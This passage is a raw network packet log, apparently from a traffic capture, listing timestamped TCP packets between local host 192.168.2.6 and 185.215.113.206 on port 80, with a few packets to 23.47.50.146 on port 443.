Oct 29, 2024 17:59:52.569274902 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.569279909 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.569291115 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.569294930 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.569305897 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.569314957 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.569323063 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.569330931 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.569344997 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.569346905 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.569363117 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.569371939 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.569387913 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.569396019 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.569405079 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.569415092 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.569421053 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.569431067 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.569436073 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.569452047 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.569452047 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.569463015 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.569469929 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.569483995 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.569488049 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.569492102 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.569504023 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.569514036 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.569521904 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.569526911 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.569540024 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.569551945 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.569555998 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.569561005 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.569574118 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.569575071 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.569591045 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.569597006 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.569606066 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.569628000 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.570005894 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.570020914 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.570064068 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.570163012 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.570178986 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.570193052 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.570204020 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.570209026 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.570225000 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.570231915 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.570240974 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.570255041 CET	50065	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:52.570255995 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.570278883 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.570290089 CET	443	50065	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:52.570295095 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.570301056 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.570301056 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.570301056 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.570311069 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.570316076 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.570328951 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.570334911 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.570347071 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.570362091 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.570369005 CET	50065	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:52.570377111 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.570393085 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.570399046 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.570411921 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.570414066 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.570427895 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.570437908 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.570444107 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.570452929 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.570463896 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.570480108 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.570481062 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.570496082 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.570503950 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.570513010 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.570528984 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.570528984 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.570555925 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.570580959 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.570676088 CET	50065	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:52.570688009 CET	443	50065	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:52.570880890 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.570919037 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.570925951 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.570935011 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.570951939 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.570955992 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.570971012 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.570992947 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.571058035 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.571073055 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.571088076 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.571111917 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.571116924 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.571118116 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.571134090 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.571147919 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.571149111 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.571162939 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.571177959 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.571177959 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.571185112 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.571201086 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.571209908 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.571218014 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.571218014 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.571233988 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.571243048 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.571250916 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.571252108 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.571268082 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.571273088 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.571285963 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.571289062 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.571301937 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.571302891 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.571326017 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.571326017 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.571336985 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.571341991 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.571357012 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.571361065 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.571372986 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.571379900 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.571388960 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.571389914 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.571405888 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.571409941 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.571422100 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.571429968 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.571438074 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.571460009 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.571825981 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.571875095 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.571921110 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.571937084 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.571953058 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.571975946 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.571978092 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.571995020 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.572000980 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.572010994 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.572025061 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.572027922 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.572036982 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.572045088 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.572057009 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.572067022 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.572069883 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.572087049 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.572091103 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.572102070 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.572103977 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.572119951 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.572120905 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.572135925 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.572140932 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.572149992 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.572160006 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.572171926 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.572175980 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.572191954 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.572196007 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.572210073 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.572212934 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.572221041 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.572227001 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.572242022 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.572256088 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.572263956 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.572271109 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.572285891 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.572288036 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.572303057 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.572310925 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.572318077 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.572335958 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.572345018 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.572365046 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.572734118 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.572758913 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.572773933 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.572789907 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.572791100 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.572809935 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.572817087 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.572832108 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.572855949 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.684309006 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.684325933 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.684341908 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.684372902 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.684403896 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.684458971 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.684473991 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.684490919 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.684497118 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.684508085 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.684516907 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.684540987 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.684550047 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.684564114 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.684568882 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.684575081 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.684590101 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.684606075 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.684632063 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685214043 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685230017 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685244083 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685259104 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685262918 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685282946 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685282946 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685300112 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685312033 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685316086 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685332060 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685343981 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685348988 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685370922 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685374022 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685384989 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685389996 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685412884 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685414076 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685425997 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685431004 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685446024 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685447931 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685463905 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685470104 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685471058 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685477972 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685487032 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685508013 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685513020 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685527086 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685537100 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685551882 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685551882 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685568094 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685571909 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685591936 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685595989 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685611963 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685620070 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685635090 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685642958 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685651064 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685661077 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685667038 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685669899 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685687065 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685703993 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685703993 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685715914 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685722113 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685725927 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685729980 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685729980 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685741901 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685756922 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685771942 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685775042 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685787916 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685794115 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685803890 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685811996 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685820103 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685834885 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685836077 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685852051 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685861111 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685884953 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685898066 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685920954 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685945034 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685959101 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.685961008 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.685990095 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.686002970 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.686099052 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.686121941 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.686139107 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.686144114 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.686153889 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.686165094 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.686165094 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.686171055 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.686186075 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.686193943 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.686203003 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.686208010 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.686222076 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.686227083 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.686233997 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.686239004 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.686260939 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.686266899 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.686275005 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.686284065 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.686300039 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.686317921 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.686321974 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.686343908 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.686367989 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.686410904 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.686427116 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.686444044 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.686450958 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.686460018 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.686465979 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.686480045 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.686484098 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.686500072 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.686500072 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.686517000 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.686532021 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.686538935 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.686556101 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.686561108 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.686573029 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.686589003 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.686594009 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.686603069 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.686614037 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.686614037 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.686619043 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.686624050 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.686636925 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.686645031 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.686650991 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.686664104 CET	49958	80	192.168.2.6	185.215.113.206
